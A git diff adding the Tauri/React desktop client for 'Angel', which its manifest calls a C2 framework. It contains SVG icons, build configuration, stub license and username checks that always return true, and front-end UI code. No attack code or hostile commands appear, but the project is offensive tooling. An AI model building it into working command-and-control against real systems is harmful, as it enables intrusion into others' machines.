After Width: | Height: | Size: 5.1 KiB |
151
full/Angel-client/public/minimize.svg
Normal file
@@ -0,0 +1,151 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="minimize.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="21.791667"
|
||||
inkscape:cx="12"
|
||||
inkscape:cy="12"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.9297844,1046.855)"
|
||||
id="g3341">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.63645,-40.071141 c 305.46261,0 553.08915,247.626261 553.08915,553.088871 0,305.45744 -247.62654,553.08397 -553.08915,553.08397 -305.46132,0 -553.0885503,-247.62653 -553.0885503,-553.08397 0,-305.46261 247.6272303,-553.088871 553.0885503,-553.088871"
|
||||
style="fill:#da9e10;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4417" />
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 558.63936,-0.56504285 c 283.64212,0 513.57764,229.93706285 513.57764,513.58312285 0,283.64081 -229.93552,513.57752 -513.57764,513.57752 -283.64081,0 -513.582854,-229.93671 -513.582854,-513.57752 0,-283.64606 229.942044,-513.58312285 513.582854,-513.58312285"
|
||||
style="fill:#fac536;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4419" />
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 4.6 KiB |
165
full/Angel-client/public/minimize_hover.svg
Normal file
@@ -0,0 +1,165 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
|
||||
<svg
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
width="24"
|
||||
height="24"
|
||||
id="svg4306"
|
||||
version="1.1"
|
||||
inkscape:version="0.91 r13725"
|
||||
sodipodi:docname="minimize_prelight.svg"
|
||||
style="enable-background:new">
|
||||
<defs
|
||||
id="defs4308">
|
||||
<linearGradient
|
||||
id="linearGradient3770">
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.62827224;"
|
||||
offset="0"
|
||||
id="stop3772" />
|
||||
<stop
|
||||
style="stop-color:#000000;stop-opacity:0.49803922;"
|
||||
offset="1"
|
||||
id="stop3774" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:1;"
|
||||
offset="0"
|
||||
id="stop4884" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop4886" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient3784-6">
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0.21568628;"
|
||||
offset="0"
|
||||
id="stop3786-4" />
|
||||
<stop
|
||||
style="stop-color:#ffffff;stop-opacity:0;"
|
||||
offset="1"
|
||||
id="stop3788-6" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4892">
|
||||
<stop
|
||||
id="stop4894"
|
||||
offset="0"
|
||||
style="stop-color:#2f3a42;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4896"
|
||||
offset="1"
|
||||
style="stop-color:#1d242a;stop-opacity:1;" />
|
||||
</linearGradient>
|
||||
<linearGradient
|
||||
id="linearGradient4882-4">
|
||||
<stop
|
||||
id="stop4884-9"
|
||||
offset="0"
|
||||
style="stop-color:#728495;stop-opacity:1;" />
|
||||
<stop
|
||||
id="stop4886-9"
|
||||
offset="1"
|
||||
style="stop-color:#617c95;stop-opacity:0;" />
|
||||
</linearGradient>
|
||||
</defs>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
pagecolor="#f0f1f2"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageopacity="1"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:zoom="21.791667"
|
||||
inkscape:cx="12"
|
||||
inkscape:cy="12"
|
||||
inkscape:document-units="px"
|
||||
inkscape:current-layer="layer1"
|
||||
showgrid="true"
|
||||
showguides="true"
|
||||
inkscape:guide-bbox="true"
|
||||
inkscape:window-width="1280"
|
||||
inkscape:window-height="747"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:snap-bbox="true"
|
||||
inkscape:snap-global="true"
|
||||
inkscape:snap-bbox-midpoints="false"
|
||||
inkscape:bbox-paths="true"
|
||||
inkscape:bbox-nodes="true"
|
||||
inkscape:snap-bbox-edge-midpoints="true">
|
||||
<inkscape:grid
|
||||
type="xygrid"
|
||||
id="grid4314"
|
||||
empspacing="5"
|
||||
visible="true"
|
||||
enabled="true"
|
||||
snapvisiblegridlinesonly="true" />
|
||||
<sodipodi:guide
|
||||
orientation="1,0"
|
||||
position="12,12"
|
||||
id="guide4316" />
|
||||
<sodipodi:guide
|
||||
orientation="0,1"
|
||||
position="12,12"
|
||||
id="guide4318" />
|
||||
</sodipodi:namedview>
|
||||
<metadata
|
||||
id="metadata4311">
|
||||
<rdf:RDF>
|
||||
<cc:Work
|
||||
rdf:about="">
|
||||
<dc:format>image/svg+xml</dc:format>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
|
||||
<dc:title />
|
||||
</cc:Work>
|
||||
</rdf:RDF>
|
||||
</metadata>
|
||||
<g
|
||||
inkscape:label="Ebene 1"
|
||||
inkscape:groupmode="layer"
|
||||
id="layer1"
|
||||
transform="translate(0,-1028.3622)">
|
||||
<g
|
||||
transform="matrix(0.01265625,0,0,-0.01265625,4.9280399,1046.8821)"
|
||||
id="g3340">
|
||||
<g
|
||||
id="g4285"
|
||||
inkscape:label="ink_ext_XXXXXX"
|
||||
transform="matrix(9.9999999,0,0,9.9999999,-4.0034923,0.11816995)">
|
||||
<path
|
||||
id="path4417"
|
||||
style="fill:#da9e10;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
d="m 56.277533,-3.8051186 c 30.546127,0 55.308677,24.7625166 55.308677,55.3086436 0,30.54561 -24.76255,55.308165 -55.308677,55.308165 -30.545998,0 -55.30861206,-24.762555 -55.30861206,-55.308165 0,-30.546127 24.76261406,-55.3086436 55.30861206,-55.3086436"
|
||||
inkscape:connector-curvature="0" />
|
||||
<g
|
||||
transform="matrix(1.0148899,0,0,1.0148899,-0.8432698,-5.0312058)"
|
||||
id="g4152">
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 56.283048,5.1005059 c 27.94807,0 50.604272,22.6563571 50.604272,50.6048151 0,27.947941 -22.656202,50.604269 -50.604272,50.604269 -27.947941,0 -50.6047894,-22.656328 -50.6047894,-50.604269 0,-27.948458 22.6568484,-50.6048151 50.6047894,-50.6048151"
|
||||
style="fill:#fac536;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4419" />
|
||||
<path
|
||||
inkscape:connector-curvature="0"
|
||||
d="m 23.994703,60.30905 64.576819,0 c 2.499455,0 4.544076,-2.044103 4.544076,-4.544076 l 0,-0.119823 c 0,-2.499973 -2.044621,-4.544077 -4.544076,-4.544077 l -64.576819,0 c -2.499585,0 -4.544076,2.044104 -4.544076,4.544077 l 0,0.119823 c 0,2.499973 2.044491,4.544076 4.544076,4.544076"
|
||||
style="fill:#975914;fill-opacity:1;fill-rule:evenodd;stroke:none"
|
||||
id="path4421" />
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.4 KiB |
BIN
full/Angel-client/public/oneko.gif
Normal file
|
After Width: | Height: | Size: 3.2 KiB |
7
full/Angel-client/src-tauri/.gitignore
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
# Generated by Cargo
|
||||
# will have compiled files and executables
|
||||
/target/
|
||||
|
||||
# Generated by Tauri
|
||||
# will have schema files for capabilities auto-completion
|
||||
/gen/schemas
|
||||
4319
full/Angel-client/src-tauri/Cargo.lock
generated
Normal file
24
full/Angel-client/src-tauri/Cargo.toml
Normal file
@@ -0,0 +1,24 @@
|
||||
[package]
|
||||
name = "angel"
|
||||
version = "0.1.0"
|
||||
description = "Angel: lightweight & minimalistic, yet powerful and extensible C2 framework"
|
||||
authors = ["0xkiss"]
|
||||
edition = "2021"
|
||||
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[lib]
|
||||
# The `_lib` suffix may seem redundant but it is necessary
|
||||
# to make the lib name unique and wouldn't conflict with the bin name.
|
||||
# This seems to be only an issue on Windows, see https://github.com/rust-lang/cargo/issues/8519
|
||||
name = "angel_lib"
|
||||
crate-type = ["staticlib", "cdylib", "rlib"]
|
||||
|
||||
[build-dependencies]
|
||||
tauri-build = { version = "2", features = [] }
|
||||
|
||||
[dependencies]
|
||||
tauri = { version = "2", features = [] }
|
||||
tauri-plugin-shell = "2"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
3
full/Angel-client/src-tauri/build.rs
Normal file
@@ -0,0 +1,3 @@
|
||||
fn main() {
|
||||
tauri_build::build()
|
||||
}
|
||||
BIN
full/Angel-client/src-tauri/bun.lockb
Normal file
7
full/Angel-client/src-tauri/capabilities/default.json
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"$schema": "../gen/schemas/desktop-schema.json",
|
||||
"identifier": "default",
|
||||
"description": "Capability for the main window",
|
||||
"windows": ["main"],
|
||||
"permissions": ["core:default", "shell:allow-open"]
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
{"default":{"identifier":"default","description":"Capability for the main window","local":true,"windows":["main"],"permissions":["core:default","shell:allow-open"]}}
|
||||
2054
full/Angel-client/src-tauri/gen/schemas/desktop-schema.json
Normal file
2054
full/Angel-client/src-tauri/gen/schemas/linux-schema.json
Normal file
2054
full/Angel-client/src-tauri/gen/schemas/windows-schema.json
Normal file
BIN
full/Angel-client/src-tauri/icons/128x128.png
Normal file
|
After Width: | Height: | Size: 16 KiB |
BIN
full/Angel-client/src-tauri/icons/32x32.png
Normal file
|
After Width: | Height: | Size: 2.2 KiB |
BIN
full/Angel-client/src-tauri/icons/icon.icns
Normal file
BIN
full/Angel-client/src-tauri/icons/icon.ico
Normal file
|
After Width: | Height: | Size: 205 KiB |
14
full/Angel-client/src-tauri/src/commands.rs
Normal file
@@ -0,0 +1,14 @@
|
||||
#[tauri::command(rename_all = "snake_case")]
|
||||
pub fn validate_license(_license: String) -> bool {
|
||||
return true;
|
||||
}
|
||||
|
||||
#[tauri::command(rename_all = "snake_case")]
|
||||
pub fn validate_username(_username: String) -> bool {
|
||||
return true;
|
||||
}
|
||||
|
||||
#[tauri::command(rename_all = "snake_case")]
|
||||
pub fn get_app_version() -> String {
|
||||
env!("CARGO_PKG_VERSION").to_string()
|
||||
}
|
||||
27
full/Angel-client/src-tauri/src/lib.rs
Normal file
@@ -0,0 +1,27 @@
|
||||
use tauri::Manager;
|
||||
|
||||
mod commands;
|
||||
|
||||
#[cfg_attr(mobile, tauri::mobile_entry_point)]
|
||||
pub fn run() {
|
||||
tauri::Builder::default()
|
||||
.setup(|app| {
|
||||
let version = app
|
||||
.config()
|
||||
.version
|
||||
.clone()
|
||||
.unwrap_or_else(|| "".to_string());
|
||||
let title = format!("Angel C2 - v{}", version);
|
||||
let window = app.get_webview_window("main").unwrap();
|
||||
window.set_title(&title).unwrap();
|
||||
Ok(())
|
||||
})
|
||||
.plugin(tauri_plugin_shell::init())
|
||||
.invoke_handler(tauri::generate_handler![
|
||||
commands::validate_username,
|
||||
commands::validate_license,
|
||||
commands::get_app_version,
|
||||
])
|
||||
.run(tauri::generate_context!())
|
||||
.expect("error while running tauri application");
|
||||
}
|
||||
5
full/Angel-client/src-tauri/src/main.rs
Normal file
@@ -0,0 +1,5 @@
|
||||
#![cfg_attr(not(debug_assertions), windows_subsystem = "windows")]
|
||||
|
||||
fn main() {
|
||||
angel_lib::run()
|
||||
}
|
||||
34
full/Angel-client/src-tauri/tauri.conf.json
Normal file
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"$schema": "https://schema.tauri.app/config/2",
|
||||
"productName": "angel",
|
||||
"version": "0.1.0",
|
||||
"identifier": "net.angel.app",
|
||||
"build": {
|
||||
"beforeDevCommand": "bun run dev",
|
||||
"devUrl": "http://localhost:1420",
|
||||
"beforeBuildCommand": "bun run build",
|
||||
"frontendDist": "../dist"
|
||||
},
|
||||
"app": {
|
||||
"windows": [
|
||||
{
|
||||
"title": "angel",
|
||||
"width": 1100,
|
||||
"height": 750
|
||||
}
|
||||
],
|
||||
"security": {
|
||||
"csp": null
|
||||
}
|
||||
},
|
||||
"bundle": {
|
||||
"active": true,
|
||||
"targets": "all",
|
||||
"icon": [
|
||||
"icons/32x32.png",
|
||||
"icons/128x128.png",
|
||||
"icons/icon.icns",
|
||||
"icons/icon.ico"
|
||||
]
|
||||
}
|
||||
}
|
||||
254
full/Angel-client/src/App.scss
Normal file
@@ -0,0 +1,254 @@
|
||||
@import url("https://fonts.googleapis.com/css2?family=Fira+Code:wght@300..700&display=swap");
|
||||
|
||||
@tailwind base;
|
||||
@tailwind components;
|
||||
@tailwind utilities;
|
||||
|
||||
:root {
|
||||
font-family: Inter, Avenir, Helvetica, Arial, sans-serif;
|
||||
font-size: 16px;
|
||||
line-height: 24px;
|
||||
font-weight: 400;
|
||||
|
||||
color: #0f0f0f;
|
||||
background-color: #f6f6f6;
|
||||
|
||||
font-synthesis: none;
|
||||
text-rendering: optimizeLegibility;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-moz-osx-font-smoothing: grayscale;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
}
|
||||
|
||||
html,
|
||||
body {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.login-box {
|
||||
min-height: 700px;
|
||||
max-width: 475px;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
display: flex;
|
||||
position: absolute;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
@keyframes fadeOut {
|
||||
0% {
|
||||
opacity: 1;
|
||||
}
|
||||
100% {
|
||||
opacity: 0;
|
||||
}
|
||||
}
|
||||
|
||||
.fade-out {
|
||||
animation: fadeOut 0.5s forwards;
|
||||
}
|
||||
|
||||
.dialog-overlay {
|
||||
background-color: transparent !important;
|
||||
}
|
||||
|
||||
.dialog-open ~ .other-components {
|
||||
filter: blur(4px);
|
||||
}
|
||||
|
||||
.fixed {
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.sidebar {
|
||||
top: 60px;
|
||||
}
|
||||
|
||||
.splash-screen {
|
||||
display: inline-flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100vw;
|
||||
background-color: #ffffff;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.splash-image {
|
||||
width: 512px;
|
||||
height: 512px;
|
||||
opacity: 0;
|
||||
animation: fadeIn 2s ease-in-out forwards;
|
||||
}
|
||||
|
||||
.loader {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border: 5px solid black;
|
||||
border-radius: 50%;
|
||||
position: relative;
|
||||
border-top-color: transparent;
|
||||
animation: spin 2s linear infinite;
|
||||
margin-top: 20px;
|
||||
margin-right: 13px;
|
||||
}
|
||||
|
||||
@keyframes fadeIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
}
|
||||
100% {
|
||||
opacity: 1;
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.container {
|
||||
/*display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;*/
|
||||
//width: 100%;
|
||||
height: 100vh;
|
||||
/*margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;*/
|
||||
background-color: #f6f6f6;
|
||||
}
|
||||
|
||||
.logo {
|
||||
height: 6em;
|
||||
padding: 1.5em;
|
||||
will-change: filter;
|
||||
transition: 0.75s;
|
||||
}
|
||||
|
||||
.logo.tauri:hover {
|
||||
filter: drop-shadow(0 0 2em #24c8db);
|
||||
}
|
||||
|
||||
.row {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
@media (prefers-color-scheme: dark) {
|
||||
:root {
|
||||
color: #f6f6f6;
|
||||
background-color: #2f2f2f;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #24c8db;
|
||||
}
|
||||
|
||||
input,
|
||||
button {
|
||||
color: #ffffff;
|
||||
background-color: #0f0f0f98;
|
||||
}
|
||||
button:active {
|
||||
background-color: #0f0f0f69;
|
||||
}
|
||||
}
|
||||
|
||||
@layer base {
|
||||
:root {
|
||||
--background: 0 0% 100%;
|
||||
--foreground: 224 71.4% 4.1%;
|
||||
--card: 0 0% 100%;
|
||||
--card-foreground: 224 71.4% 4.1%;
|
||||
--popover: 0 0% 100%;
|
||||
--popover-foreground: 224 71.4% 4.1%;
|
||||
--primary: 220.9 39.3% 11%;
|
||||
--primary-foreground: 210 20% 98%;
|
||||
--secondary: 220 14.3% 95.9%;
|
||||
--secondary-foreground: 220.9 39.3% 11%;
|
||||
--muted: 220 14.3% 95.9%;
|
||||
--muted-foreground: 220 8.9% 46.1%;
|
||||
--accent: 220 14.3% 95.9%;
|
||||
--accent-foreground: 220.9 39.3% 11%;
|
||||
--destructive: 0 84.2% 60.2%;
|
||||
--destructive-foreground: 210 20% 98%;
|
||||
--border: 220 13% 91%;
|
||||
--input: 220 13% 91%;
|
||||
--ring: 224 71.4% 4.1%;
|
||||
--radius: 0.5rem;
|
||||
--chart-1: 12 76% 61%;
|
||||
--chart-2: 173 58% 39%;
|
||||
--chart-3: 197 37% 24%;
|
||||
--chart-4: 43 74% 66%;
|
||||
--chart-5: 27 87% 67%;
|
||||
--sidebar-background: 0 0% 98%;
|
||||
--sidebar-foreground: 240 5.3% 26.1%;
|
||||
--sidebar-primary: 240 5.9% 10%;
|
||||
--sidebar-primary-foreground: 0 0% 98%;
|
||||
--sidebar-accent: 240 4.8% 95.9%;
|
||||
--sidebar-accent-foreground: 240 5.9% 10%;
|
||||
--sidebar-border: 220 13% 91%;
|
||||
--sidebar-ring: 217.2 91.2% 59.8%;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 224 71.4% 4.1%;
|
||||
--foreground: 210 20% 98%;
|
||||
--card: 224 71.4% 4.1%;
|
||||
--card-foreground: 210 20% 98%;
|
||||
--popover: 224 71.4% 4.1%;
|
||||
--popover-foreground: 210 20% 98%;
|
||||
--primary: 210 20% 98%;
|
||||
--primary-foreground: 220.9 39.3% 11%;
|
||||
--secondary: 215 27.9% 16.9%;
|
||||
--secondary-foreground: 210 20% 98%;
|
||||
--muted: 215 27.9% 16.9%;
|
||||
--muted-foreground: 217.9 10.6% 64.9%;
|
||||
--accent: 215 27.9% 16.9%;
|
||||
--accent-foreground: 210 20% 98%;
|
||||
--destructive: 0 62.8% 30.6%;
|
||||
--destructive-foreground: 210 20% 98%;
|
||||
--border: 215 27.9% 16.9%;
|
||||
--input: 215 27.9% 16.9%;
|
||||
--ring: 216 12.2% 83.9%;
|
||||
--chart-1: 220 70% 50%;
|
||||
--chart-2: 160 60% 45%;
|
||||
--chart-3: 30 80% 55%;
|
||||
--chart-4: 280 65% 60%;
|
||||
--chart-5: 340 75% 55%;
|
||||
--sidebar-background: 240 5.9% 10%;
|
||||
--sidebar-foreground: 240 4.8% 95.9%;
|
||||
--sidebar-primary: 224.3 76.3% 48%;
|
||||
--sidebar-primary-foreground: 0 0% 100%;
|
||||
--sidebar-accent: 240 3.7% 15.9%;
|
||||
--sidebar-accent-foreground: 240 4.8% 95.9%;
|
||||
--sidebar-border: 240 3.7% 15.9%;
|
||||
--sidebar-ring: 217.2 91.2% 59.8%;
|
||||
}
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border;
|
||||
}
|
||||
body {
|
||||
@apply bg-background text-foreground;
|
||||
}
|
||||
}
|
||||
80
full/Angel-client/src/App.tsx
Normal file
@@ -0,0 +1,80 @@
|
||||
"use client";
|
||||
|
||||
import "./App.scss";
|
||||
import Sign_in from "./sign_in";
|
||||
import Sign_up from "./sign_up";
|
||||
import Dashboard from "./dash";
|
||||
import { useState, useEffect } from "react";
|
||||
import {
|
||||
BrowserRouter as Router,
|
||||
Route,
|
||||
Routes,
|
||||
useNavigate,
|
||||
} from "react-router-dom";
|
||||
import { Button } from "./components/ui/button";
|
||||
import { useAlert } from "./alert";
|
||||
import SplashScreen from "./splashscreen";
|
||||
import { getShowSplash, setShowSplash } from "./global";
|
||||
|
||||
function App() {
|
||||
const { triggerAlert, AlertComponent } = useAlert();
|
||||
const [showSplash, setShowSplashState] = useState(getShowSplash());
|
||||
|
||||
useEffect(() => {
|
||||
if (showSplash) {
|
||||
const splashTimeout = setTimeout(() => {
|
||||
setShowSplashState(false);
|
||||
setShowSplash(false);
|
||||
}, 5000);
|
||||
|
||||
return () => clearTimeout(splashTimeout);
|
||||
}
|
||||
}, [showSplash]);
|
||||
|
||||
if (showSplash) {
|
||||
return <SplashScreen />;
|
||||
}
|
||||
|
||||
return (
|
||||
<Router>
|
||||
<main className="container bg-gray-100 font-fira-code flex h-screen">
|
||||
{AlertComponent}
|
||||
<Routes>
|
||||
<Route path="/" element={<Home triggerAlert={triggerAlert} />} />
|
||||
<Route path="/sign_in" element={<Sign_in />} />
|
||||
<Route path="/sign_up" element={<Sign_up />} />
|
||||
<Route path="/dash" element={<Dashboard />} />
|
||||
</Routes>
|
||||
</main>
|
||||
</Router>
|
||||
);
|
||||
}
|
||||
|
||||
function Home({
|
||||
triggerAlert,
|
||||
}: {
|
||||
triggerAlert: (
|
||||
title: string,
|
||||
description: string,
|
||||
type?: "default" | "error",
|
||||
) => void;
|
||||
}) {
|
||||
const nav = useNavigate();
|
||||
return (
|
||||
<>
|
||||
<h1>Welcome to Tauri + React</h1>
|
||||
<Button onClick={() => triggerAlert("event", "meow", "default")}>
|
||||
Show Event Alert
|
||||
</Button>
|
||||
|
||||
<Button onClick={() => triggerAlert("error", "meow", "error")}>
|
||||
Show Error Alert
|
||||
</Button>
|
||||
<Button onClick={() => nav("/sign_in")} className="btn">
|
||||
Go to Login
|
||||
</Button>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
export default App;
|
||||
63
full/Angel-client/src/alert.tsx
Normal file
@@ -0,0 +1,63 @@
|
||||
import { RocketIcon, ExclamationTriangleIcon } from "@radix-ui/react-icons";
|
||||
import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert";
|
||||
import { useState, useEffect } from "react";
|
||||
|
||||
export function useAlert() {
|
||||
const [alertData, setAlertData] = useState<{
|
||||
title: string;
|
||||
description: string;
|
||||
type: "default" | "error";
|
||||
} | null>(null);
|
||||
|
||||
const [visible, setVisible] = useState(false);
|
||||
|
||||
const triggerAlert = (
|
||||
title: string,
|
||||
description: string,
|
||||
type: "default" | "error" = "default"
|
||||
) => {
|
||||
setAlertData({ title, description, type });
|
||||
setVisible(true);
|
||||
|
||||
setTimeout(() => {
|
||||
setVisible(false);
|
||||
}, 3000);
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
if (!visible) {
|
||||
const timer = setTimeout(() => {
|
||||
setAlertData(null);
|
||||
}, 300);
|
||||
|
||||
return () => clearTimeout(timer);
|
||||
}
|
||||
}, [visible]);
|
||||
|
||||
const AlertComponent = alertData ? (
|
||||
<div
|
||||
className={`fixed top-4 right-4 z-50 transition-all duration-300 transform ${
|
||||
visible ? "opacity-100 translate-y-0" : "opacity-0 -translate-y-4"
|
||||
}`}
|
||||
>
|
||||
<Alert
|
||||
variant={alertData.type === "error" ? "destructive" : "default"}
|
||||
className="border-2"
|
||||
>
|
||||
{alertData.type === "error" ? (
|
||||
<ExclamationTriangleIcon className="h-4 w-4" />
|
||||
) : (
|
||||
<RocketIcon className="h-4 w-4" />
|
||||
)}
|
||||
<AlertTitle className="font-bold">
|
||||
{alertData.type === "error"
|
||||
? `Error - ${alertData.title}`
|
||||
: `Event - ${alertData.title}`}
|
||||
</AlertTitle>
|
||||
<AlertDescription>{alertData.description}</AlertDescription>
|
||||
</Alert>
|
||||
</div>
|
||||
) : null;
|
||||
|
||||
return { triggerAlert, AlertComponent };
|
||||
}
|
||||
1
full/Angel-client/src/assets/react.svg
Normal file
@@ -0,0 +1 @@
|
||||
